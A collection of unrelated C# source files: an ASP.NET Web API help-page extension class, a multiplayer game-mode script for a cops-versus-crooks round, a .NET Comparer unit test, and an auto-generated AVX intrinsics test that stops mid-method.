/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sampleGenerator">The help page sample generator.</param>
public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator)
{
config.Properties.AddOrUpdate(
typeof(HelpPageSampleGenerator),
k => sampleGenerator,
(k, o) => sampleGenerator);
}
/// <summary>
/// Gets the model description generator.
/// </summary>
/// <param name="config">The configuration.</param>
/// <returns>The <see cref="ModelDescriptionGenerator"/></returns>
public static ModelDescriptionGenerator GetModelDescriptionGenerator(this HttpConfiguration config)
{
return (ModelDescriptionGenerator)config.Properties.GetOrAdd(
typeof(ModelDescriptionGenerator),
k => InitializeModelDescriptionGenerator(config));
}
/// <summary>
/// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param>
/// <returns>
/// An <see cref="HelpPageApiModel"/>
/// </returns>
public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId)
{
object model;
string modelId = ApiModelPrefix + apiDescriptionId;
if (!config.Properties.TryGetValue(modelId, out model))
{
Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions;
ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase));
if (apiDescription != null)
{
model = GenerateApiModel(apiDescription, config);
config.Properties.TryAdd(modelId, model);
}
}
return (HelpPageApiModel)model;
}
private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HttpConfiguration config)
{
HelpPageApiModel apiModel = new HelpPageApiModel()
{
ApiDescription = apiDescription,
};
ModelDescriptionGenerator modelGenerator = config.GetModelDescriptionGenerator();
HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator();
GenerateUriParameters(apiModel, modelGenerator);
GenerateRequestModelDescription(apiModel, modelGenerator, sampleGenerator);
GenerateResourceDescription(apiModel, modelGenerator);
GenerateSamples(apiModel, sampleGenerator);
return apiModel;
}
private static void GenerateUriParameters(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator)
{
ApiDescription apiDescription = apiModel.ApiDescription;
foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions)
{
if (apiParameter.Source == ApiParameterSource.FromUri)
{
HttpParameterDescriptor parameterDescriptor = apiParameter.ParameterDescriptor;
Type parameterType = null;
ModelDescription typeDescription = null;
ComplexTypeModelDescription complexTypeDescription = null;
if (parameterDescriptor != null)
{
parameterType = parameterDescriptor.ParameterType;
typeDescription = modelGenerator.GetOrCreateModelDescription(parameterType);
complexTypeDescription = typeDescription as ComplexTypeModelDescription;
}
// Example:
// [TypeConverter(typeof(PointConverter))]
// public class Point
// {
// public Point(int x, int y)
// {
// X = x;
// Y = y;
// }
// public int X { get; set; }
// public int Y { get; set; }
// }
// Class Point is bindable with a TypeConverter, so Point will be added to UriParameters collection.
//
// public class Point
// {
// public int X { get; set; }
// public int Y { get; set; }
// }
// Regular complex class Point will have properties X and Y added to UriParameters collection.
if (complexTypeDescription != null
&& !IsBindableWithTypeConverter(parameterType))
{
foreach (ParameterDescription uriParameter in complexTypeDescription.Properties)
{
apiModel.UriParameters.Add(uriParameter);
}
}
else if (parameterDescriptor != null)
{
ParameterDescription uriParameter =
AddParameterDescription(apiModel, apiParameter, typeDescription);
if (!parameterDescriptor.IsOptional)
{
uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Required" });
}
object defaultValue = parameterDescriptor.DefaultValue;
if (defaultValue != null)
{
uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Default value is " + Convert.ToString(defaultValue, CultureInfo.InvariantCulture) });
}
}
else
{
Debug.Assert(parameterDescriptor == null);
// If parameterDescriptor is null, this is an undeclared route parameter which only occurs
// when source is FromUri. Ignored in request model and among resource parameters but listed
// as a simple string here.
ModelDescription modelDescription = modelGenerator.GetOrCreateModelDescription(typeof(string));
AddParameterDescription(apiModel, apiParameter, modelDescription);
}
}
}
}
private static bool IsBindableWithTypeConverter(Type parameterType)
{
if (parameterType == null)
{
return false;
}
return TypeDescriptor.GetConverter(parameterType).CanConvertFrom(typeof(string));
}
private static ParameterDescription AddParameterDescription(HelpPageApiModel apiModel,
ApiParameterDescription apiParameter, ModelDescription typeDescription)
{
ParameterDescription parameterDescription = new ParameterDescription
{
Name = apiParameter.Name,
Documentation = apiParameter.Documentation,
TypeDescription = typeDescription,
};
apiModel.UriParameters.Add(parameterDescription);
return parameterDescription;
}
private static void GenerateRequestModelDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator, HelpPageSampleGenerator sampleGenerator)
{
ApiDescription apiDescription = apiModel.ApiDescription;
foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions)
{
if (apiParameter.Source == ApiParameterSource.FromBody)
{
Type parameterType = apiParameter.ParameterDescriptor.ParameterType;
apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType);
apiModel.RequestDocumentation = apiParameter.Documentation;
}
else if (apiParameter.ParameterDescriptor != null &&
apiParameter.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage))
{
Type parameterType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription);
if (parameterType != null)
{
apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType);
}
}
}
}
private static void GenerateResourceDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator)
{
ResponseDescription response = apiModel.ApiDescription.ResponseDescription;
Type responseType = response.ResponseType ?? response.DeclaredType;
if (responseType != null && responseType != typeof(void))
{
apiModel.ResourceDescription = modelGenerator.GetOrCreateModelDescription(responseType);
}
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")]
private static void GenerateSamples(HelpPageApiModel apiModel, HelpPageSampleGenerator sampleGenerator)
{
try
{
foreach (var item in sampleGenerator.GetSampleRequests(apiModel.ApiDescription))
{
apiModel.SampleRequests.Add(item.Key, item.Value);
LogInvalidSampleAsError(apiModel, item.Value);
}
foreach (var item in sampleGenerator.GetSampleResponses(apiModel.ApiDescription))
{
apiModel.SampleResponses.Add(item.Key, item.Value);
LogInvalidSampleAsError(apiModel, item.Value);
}
}
catch (Exception e)
{
apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture,
"An exception has occurred while generating the sample. Exception message: {0}",
HelpPageSampleGenerator.UnwrapException(e).Message));
}
}
private static bool TryGetResourceParameter(ApiDescription apiDescription, HttpConfiguration config, out ApiParameterDescription parameterDescription, out Type resourceType)
{
parameterDescription = apiDescription.ParameterDescriptions.FirstOrDefault(
p => p.Source == ApiParameterSource.FromBody ||
(p.ParameterDescriptor != null && p.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage)));
if (parameterDescription == null)
{
resourceType = null;
return false;
}
resourceType = parameterDescription.ParameterDescriptor.ParameterType;
if (resourceType == typeof(HttpRequestMessage))
{
HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator();
resourceType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription);
}
if (resourceType == null)
{
parameterDescription = null;
return false;
}
return true;
}
private static ModelDescriptionGenerator InitializeModelDescriptionGenerator(HttpConfiguration config)
{
ModelDescriptionGenerator modelGenerator = new ModelDescriptionGenerator(config);
Collection<ApiDescription> apis = config.Services.GetApiExplorer().ApiDescriptions;
foreach (ApiDescription api in apis)
{
ApiParameterDescription parameterDescription;
Type parameterType;
if (TryGetResourceParameter(api, config, out parameterDescription, out parameterType))
{
modelGenerator.GetOrCreateModelDescription(parameterType);
}
}
return modelGenerator;
}
private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample)
{
InvalidSample invalidSample = sample as InvalidSample;
if (invalidSample != null)
{
apiModel.ErrorMessages.Add(invalidSample.ErrorMessage);
}
}
}
}
| |
using System;
using System.Collections.Generic;
using GrandTheftMultiplayer.Server.API;
using GrandTheftMultiplayer.Server.Constant;
using GrandTheftMultiplayer.Server.Elements;
using GrandTheftMultiplayer.Shared;
using GrandTheftMultiplayer.Shared.Math;
public class CopsNCrooks : Script
{
public CopsNCrooks()
{
Cops = new List<Client>();
Crooks = new List<Client>();
Vehicles = new List<NetHandle>();
API.onPlayerRespawn += onDeath;
API.onPlayerConnected += OnPlayerConnected;
API.onUpdate += onUpdate;
API.onResourceStart += onResStart;
API.onPlayerDisconnected += onPlayerDisconnected;
}
public List<Client> Cops;
public List<Client> Crooks;
public int CopTeam = 2;
public int CrookTeam = 3;
public List<NetHandle> Vehicles;
private Vector3 _copRespawn = new Vector3(444.12f, -983.73f, 30.69f);
private Vector3 _crookRespawn = new Vector3(617.16f, 608.95f, 128.91f);
private Vector3 _targetPos = new Vector3(-1079.34f, -3001.1f, 13.96f);
public Client CrookBoss;
public NetHandle EscapeVehicle;
public bool isRoundOngoing;
private Random rngProvider = new Random();
private void SpawnCars()
{
Vehicles.Clear();
// Crooks
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(634.32f, 622.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(636.32f, 635.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(631.32f, 613.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(611.32f, 637.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(607.32f, 626.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Washington, new Vector3(593.32f, 618.54f, 128.44f), new Vector3(0, 0, 250.89f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Limo2, new Vector3(631.5f, 642.54f, 128.44f), new Vector3(0, 0, 327.15f), 0, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Maverick, new Vector3(644.09f, 599.09f, 129.01f), new Vector3(0, 0, 0.15f), 0, 0));
// Cops
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(407.37f, -979.13f, 28.88f), new Vector3(0, 0, 52.84f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(407.37f, -983.99f, 28.88f), new Vector3(0, 0, 52.84f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(407.37f, -988.8f, 28.88f), new Vector3(0, 0, 52.84f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(407.37f, -992.76f, 28.88f), new Vector3(0, 0, 52.84f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(407.37f, -997.72f, 28.88f), new Vector3(0, 0, 52.84f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Police2, new Vector3(393.51f, -981.3f, 28.96f), new Vector3(0, 0, 356.26f), 111, 0));
Vehicles.Add(API.createVehicle(VehicleHash.Insurgent, new Vector3(428.9f, -960.98f, 29.11f), new Vector3(0, 0, 90.12f), 111, 0));
}
private void onResStart()
{
var blip = API.createBlip(_targetPos);
API.setBlipColor(blip, 66);
API.createMarker(28, _targetPos, new Vector3(), new Vector3(), new Vector3(20f, 20f, 20f), 80, 255, 255, 255);
}
public void onPlayerDisconnected(Client player, string reason)
{
if (Crooks.Contains(player))
Crooks.Remove(player);
if (Cops.Contains(player))
Cops.Remove(player);
if (CrookBoss == player)
{
API.sendNotificationToAll("The boss has left the game. Restarting the round.");
isRoundOngoing = false;
}
if (Crooks.Count == 0 || Cops.Count == 0)
{
API.sendNotificationToAll("One of the teams is empty. Restarting...");
isRoundOngoing = false;
}
}
private bool IsInRangeOf(Vector3 playerPos, Vector3 target, float range)
{
var direct = new Vector3(target.X - playerPos.X, target.Y - playerPos.Y, target.Z - playerPos.Z);
var len = direct.X * direct.X + direct.Y * direct.Y + direct.Z * direct.Z;
return range * range > len;
}
public void onUpdate()
{
if (!isRoundOngoing)
{
var players = API.getAllPlayers();
if (players.Count < 2)
{
return;
}
API.sendNotificationToAll("Starting new round in 5 seconds!");
API.sleep(5000);
StartRound();
}
else
{
if (IsInRangeOf(CrookBoss.position, _targetPos, 10f))
{
API.sendNotificationToAll("The boss has arrived to the destination. The ~r~Crooks~w~ win!");
isRoundOngoing = false;
}
}
}
public void StartRound()
{
Cops.Clear();
Crooks.Clear();
API.triggerClientEventForAll("clearAllBlips");
isRoundOngoing = true;
foreach (var car in Vehicles)
{
API.deleteEntity(car);
}
// spawn vehicles here
SpawnCars();
var players = API.getAllPlayers();
players.Shuffle();
var firstHalfCount = players.Count / 2;
var secondHalfCount = players.Count - players.Count / 2;
Crooks = new List<Client>(players.GetRange(0, firstHalfCount));
Cops = new List<Client>(players.GetRange(firstHalfCount, secondHalfCount));
CrookBoss = Crooks[rngProvider.Next(Crooks.Count)];
foreach (var c in Cops)
{
Respawn(c);
API.consoleOutput(c.name + " is a cop!");
}
foreach (var c in Crooks)
{
if (c == CrookBoss)
{
API.setPlayerSkin(c, PedHash.MexBoss02GMM); // MexBoss02GMM
API.sendNotificationToPlayer(c, "You are ~r~the boss~w~! Get to the ~y~extraction point~w~ alive!~");
}
else
{
API.sendNotificationToPlayer(c, "Don't let the ~r~cops~w~ kill your boss!");
API.setPlayerSkin(c, PedHash.MexGoon03GMY); // MexGoon03GMY
}
CrookRespawn(c);
API.setPlayerTeam(c, CrookTeam);
}
API.sendNotificationToAll("The crook boss is " + CrookBoss.name + "!");
}
public void Respawn(Client player)
{
if (!isRoundOngoing) return;
if (!Cops.Contains(player))
{
Cops.Add(player);
}
API.setPlayerSkin(player, PedHash.Cop01SMY); // Cop01SMY
API.givePlayerWeapon(player, WeaponHash.Nightstick, 1, true);
API.givePlayerWeapon(player, WeaponHash.CombatPistol, 300, true);
API.givePlayerWeapon(player, WeaponHash.PumpShotgun, 300, true);
API.setPlayerHealth(player, 100);
API.sendNotificationToPlayer(player, "Apprehend the ~r~crooks!");
API.setEntityPosition(player.handle, _copRespawn);
API.setPlayerTeam(player, CopTeam);
}
public void CrookRespawn(Client player)
{
if (!isRoundOngoing) return;
API.givePlayerWeapon(player, WeaponHash.Molotov, 20, true);
API.givePlayerWeapon(player, WeaponHash.VintagePistol, 100, true);
API.givePlayerWeapon(player, WeaponHash.Gusenberg, 700, true);
API.setPlayerHealth(player, 100);
API.setEntityPosition(player.handle, _crookRespawn);
}
public void onDeath(Client player)
{
if (player == CrookBoss)
{
API.sendNotificationToAll("The boss has died! ~b~Cops~w~ win!");
isRoundOngoing = false;
return;
}
else if (Cops.Contains(player))
{
Respawn(player);
}
else if (Crooks.Contains(player))
{
CrookRespawn(player);
}
}
public void OnPlayerConnected(Client player)
{
Respawn(player);
}
}
public static class Extensions
{
public static Random rng = new Random();
public static void Shuffle<T>(this IList<T> list)
{
int n = list.Count;
while (n > 1) {
n--;
int k = rng.Next(n + 1);
T value = list[k];
list[k] = list[n];
list[n] = value;
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
public enum TestEnum
{
VALUE_0,
VALUE_1
}
public class TestGenericComparer<T> : Comparer<T>
{
public TestGenericComparer() : base() { }
public override int Compare(T x, T y)
{
if (!(x is ValueType))
{
// reference type
Object ox = x as Object;
Object oy = y as Object;
if (x == null) return (y == null) ? 0 : -1;
if (y == null) return 1;
}
if (x is IComparable<T>)
{
IComparable<T> comparer = x as IComparable<T>;
return comparer.CompareTo(y);
}
if (x is IComparable)
{
IComparable comparer = x as IComparable;
return comparer.CompareTo(y);
}
throw new ArgumentException();
}
}
public class TestClass : IComparable<TestClass>
{
public int Value;
public TestClass(int value)
{
Value = value;
}
public int CompareTo(TestClass other)
{
return this.Value - other.Value;
}
}
public class TestClass1 : IComparable
{
public int Value;
public TestClass1(int value)
{
Value = value;
}
public int CompareTo(object obj)
{
TestClass1 other = obj as TestClass1;
if (other != null)
{
return Value - other.Value;
}
if (obj is int)
{
int i = (int)obj;
return Value - i;
}
throw new ArgumentException("Must be instance of TestClass1 or Int32");
}
}
/// <summary>
/// Compare(T,T)
/// </summary>
public class ComparerCompare1
{
#region Public Methods
public bool RunTests()
{
bool retVal = true;
TestLibrary.TestFramework.LogInformation("[Positive]");
retVal = PosTest1() && retVal;
retVal = PosTest2() && retVal;
retVal = PosTest3() && retVal;
retVal = PosTest4() && retVal;
TestLibrary.TestFramework.LogInformation("[Negative]");
retVal = NegTest1() && retVal;
return retVal;
}
#region Positive Test Cases
public bool PosTest1()
{
bool retVal = true;
TestLibrary.TestFramework.BeginScenario("PosTest1: Call Compare to compare two value type instance");
try
{
Comparer<ValueType> comparer = new TestGenericComparer<ValueType>();
retVal = VerificationHelper<ValueType>(comparer, 1, 2, -1, "001.1") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 2, 1, 1, "001.2") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 1, 1, 0, "001.3") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 1.0, 2.0, -1, "001.4") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 1, (int)TestEnum.VALUE_0, 1, "001.5") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 1, (int)TestEnum.VALUE_1, 0, "001.6") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 'a', 'A', 32, "001.7") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 'a', 'a', 0, "001.8") && retVal;
retVal = VerificationHelper<ValueType>(comparer, 'A', 'a', -32, "001.9") && retVal;
Comparer<int> comparer1 = new TestGenericComparer<int>();
retVal = VerificationHelper<int>(comparer1, 1, 2, -1, "001.10") && retVal;
retVal = VerificationHelper<int>(comparer1, 2, 1, 1, "001.11") && retVal;
retVal = VerificationHelper<int>(comparer1, 1, 1, 0, "001.12") && retVal;
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("001.0", "Unexpected exception: " + e);
TestLibrary.TestFramework.LogInformation(e.StackTrace);
retVal = false;
}
return retVal;
}
public bool PosTest2()
{
bool retVal = true;
TestLibrary.TestFramework.BeginScenario("PosTest2: Call Compare with one or both parameters are null reference");
try
{
Comparer<TestClass> comparer = new TestGenericComparer<TestClass>();
retVal = VerificationHelper<TestClass>(comparer, null, new TestClass(1), -1, "002.1") && retVal;
retVal = VerificationHelper<TestClass>(comparer, new TestClass(1), null, 1, "002.2") && retVal;
retVal = VerificationHelper<TestClass>(comparer, null, null, 0, "002.3") && retVal;
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("002.0", "Unexpected exception: " + e);
TestLibrary.TestFramework.LogInformation(e.StackTrace);
retVal = false;
}
return retVal;
}
public bool PosTest3()
{
bool retVal = true;
TestLibrary.TestFramework.BeginScenario("PosTest3: Call Compare when T implements IComparable<T>");
try
{
Comparer<TestClass> comparer = new TestGenericComparer<TestClass>();
retVal = VerificationHelper<TestClass>(comparer, new TestClass(0), new TestClass(1), -1, "003.1") && retVal;
retVal = VerificationHelper<TestClass>(comparer, new TestClass(1), new TestClass(0), 1, "003.2") && retVal;
retVal = VerificationHelper<TestClass>(comparer, new TestClass(1), new TestClass(1), 0, "003.3") && retVal;
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("003.0", "Unexpected exception: " + e);
TestLibrary.TestFramework.LogInformation(e.StackTrace);
retVal = false;
}
return retVal;
}
public bool PosTest4()
{
bool retVal = true;
TestLibrary.TestFramework.BeginScenario("PosTest4: Call Compare when T implements IComparable");
try
{
Comparer<TestClass1> comparer = new TestGenericComparer<TestClass1>();
retVal = VerificationHelper<TestClass1>(comparer, new TestClass1(0), new TestClass1(1), -1, "004.1") && retVal;
retVal = VerificationHelper<TestClass1>(comparer, new TestClass1(1), new TestClass1(0), 1, "004.2") && retVal;
retVal = VerificationHelper<TestClass1>(comparer, new TestClass1(1), new TestClass1(1), 0, "004.3") && retVal;
Comparer<Object> comparer1 = new TestGenericComparer<Object>();
retVal = VerificationHelper<Object>(comparer1, new TestClass1(0), 1, -1, "004.4") && retVal;
retVal = VerificationHelper<Object>(comparer1, new TestClass1(1), 0, 1, "004.5") && retVal;
retVal = VerificationHelper<Object>(comparer1, new TestClass1(1), 1, 0, "004.6") && retVal;
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("004.0", "Unexpected exception: " + e);
TestLibrary.TestFramework.LogInformation(e.StackTrace);
retVal = false;
}
return retVal;
}
#endregion
#region Nagetive Test Cases
public bool NegTest1()
{
bool retVal = true;
TestLibrary.TestFramework.BeginScenario("NegTest1: ArgumentException should be thrown when Type T does not implement either the System.IComparable generic interface or the System.IComparable interface.");
try
{
TestGenericComparer<ComparerCompare1> comparer = new TestGenericComparer<ComparerCompare1>();
comparer.Compare(new ComparerCompare1(), new ComparerCompare1());
TestLibrary.TestFramework.LogError("101.1", "ArgumentException is not thrown when Type T does not implement either the System.IComparable generic interface or the System.IComparable interface.");
retVal = false;
}
catch (ArgumentException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("101.0", "Unexpected exception: " + e);
TestLibrary.TestFramework.LogInformation(e.StackTrace);
retVal = false;
}
return retVal;
}
#endregion
#endregion
public static int Main()
{
ComparerCompare1 test = new ComparerCompare1();
TestLibrary.TestFramework.BeginTestCase("ComparerCompare1");
if (test.RunTests())
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("PASS");
return 100;
}
else
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("FAIL");
return 0;
}
}
#region Private Methods
private bool VerificationHelper<T>(Comparer<T> comparer, T x, T y, int expected, string errorno)
{
bool retVal = true;
int actual = comparer.Compare(x, y);
if ( actual != expected )
{
TestLibrary.TestFramework.LogError(errorno, "Compare returns unexpected value");
TestLibrary.TestFramework.LogInformation("WARNING [LOCAL VARIABLE] x = " + x + ", y = " + y + ", expected = " + expected + ", actual = " + actual);
retVal = false;
}
return retVal;
}
#endregion
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/******************************************************************************
* This file is auto-generated from a template file by the GenerateTests.csx *
* script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make *
* changes, please update the corresponding template and run according to the *
* directions listed in the file. *
******************************************************************************/
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Intrinsics;
using System.Runtime.Intrinsics.X86;
namespace JIT.HardwareIntrinsics.X86
{
public static partial class Program
{
private static void ExtractVector128Double1()
{
var test = new ImmUnaryOpTest__ExtractVector128Double1();
if (test.IsSupported)
{
// Validates basic functionality works, using Unsafe.Read
test.RunBasicScenario_UnsafeRead();
if (Avx.IsSupported)
{
// Validates basic functionality works, using Load
test.RunBasicScenario_Load();
// Validates basic functionality works, using LoadAligned
test.RunBasicScenario_LoadAligned();
}
// Validates calling via reflection works, using Unsafe.Read
test.RunReflectionScenario_UnsafeRead();
if (Avx.IsSupported)
{
// Validates calling via reflection works, using Load
test.RunReflectionScenario_Load();
// Validates calling via reflection works, using LoadAligned
test.RunReflectionScenario_LoadAligned();
}
// Validates passing a static member works
test.RunClsVarScenario();
// Validates passing a local works, using Unsafe.Read
test.RunLclVarScenario_UnsafeRead();
if (Avx.IsSupported)
{
// Validates passing a local works, using Load
test.RunLclVarScenario_Load();
// Validates passing a local works, using LoadAligned
test.RunLclVarScenario_LoadAligned();
}
// Validates passing the field of a local class works
test.RunClassLclFldScenario();
// Validates passing an instance member of a class works
test.RunClassFldScenario();
// Validates passing the field of a local struct works
test.RunStructLclFldScenario();
// Validates passing an instance member of a struct works
test.RunStructFldScenario();
}
else
{
// Validates we throw on unsupported hardware
test.RunUnsupportedScenario();
}
if (!test.Succeeded)
{
throw new Exception("One or more scenarios did not complete as expected.");
}
}
}
public sealed unsafe class ImmUnaryOpTest__ExtractVector128Double1
{
private struct TestStruct
{
public Vector256<Double> _fld;
public static TestStruct Create()
{
var testStruct = new TestStruct();
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetDouble(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Double>, byte>(ref testStruct._fld), ref Unsafe.As<Double, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Double>>());
return testStruct;
}
public void RunStructFldScenario(ImmUnaryOpTest__ExtractVector128Double1 testClass)
{
var result = Avx.ExtractVector128(_fld, 1);
Unsafe.Write(testClass._dataTable.outArrayPtr, result);
testClass.ValidateResult(_fld, testClass._dataTable.outArrayPtr);
}
}
private static readonly int LargestVectorSize = 32;
private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector256<Double>>() / sizeof(Double);
private static readonly int RetElementCount = Unsafe.SizeOf<Vector128<Double>>() / sizeof(Double);
private static Double[] _data = new Double[Op1ElementCount];
private static Vector256<Double> _clsVar;
private Vector256<Double> _fld;
private SimpleUnaryOpTest__DataTable<Double, Double> _dataTable;
static ImmUnaryOpTest__ExtractVector128Double1()
{
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetDouble(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Double>, byte>(ref _clsVar), ref Unsafe.As<Double, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Double>>());
}
public ImmUnaryOpTest__ExtractVector128Double1()
{
Succeeded = true;
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetDouble(); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Double>, byte>(ref _fld), ref Unsafe.As<Double, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<Double>>());
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetDouble(); }
_dataTable = new SimpleUnaryOpTest__DataTable<Double, Double>(_data, new Double[RetElementCount], LargestVectorSize);
}
public bool IsSupported => Avx.IsSupported;
public bool Succeeded { get; set; }
public void RunBasicScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead));
var result = Avx.ExtractVector128(
Unsafe.Read<Vector256<Double>>(_dataTable.inArrayPtr),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunBasicScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load));
var result = Avx.ExtractVector128(
Avx.LoadVector256((Double*)(_dataTable.inArrayPtr)),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunBasicScenario_LoadAligned()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_LoadAligned));
var result = Avx.ExtractVector128(
Avx.LoadAlignedVector256((Double*)(_dataTable.inArrayPtr)),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead));
var result = typeof(Avx).GetMethod(nameof(Avx.ExtractVector128), new Type[] { typeof(Vector256<Double>), typeof(byte) })
.Invoke(null, new object[] {
Unsafe.Read<Vector256<Double>>(_dataTable.inArrayPtr),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Double>)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load));
var result = typeof(Avx).GetMethod(nameof(Avx.ExtractVector128), new Type[] { typeof(Vector256<Double>), typeof(byte) })
.Invoke(null, new object[] {
Avx.LoadVector256((Double*)(_dataTable.inArrayPtr)),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Double>)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_LoadAligned()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_LoadAligned));
var result = typeof(Avx).GetMethod(nameof(Avx.ExtractVector128), new Type[] { typeof(Vector256<Double>), typeof(byte) })
.Invoke(null, new object[] {
Avx.LoadAlignedVector256((Double*)(_dataTable.inArrayPtr)),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Double>)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunClsVarScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario));
var result = Avx.ExtractVector128(
_clsVar,
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_clsVar, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_UnsafeRead()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead));
var firstOp = Unsafe.Read<Vector256<Double>>(_dataTable.inArrayPtr);
var result = Avx.ExtractVector128(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_Load()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load));
var firstOp = Avx.LoadVector256((Double*)(_dataTable.inArrayPtr));
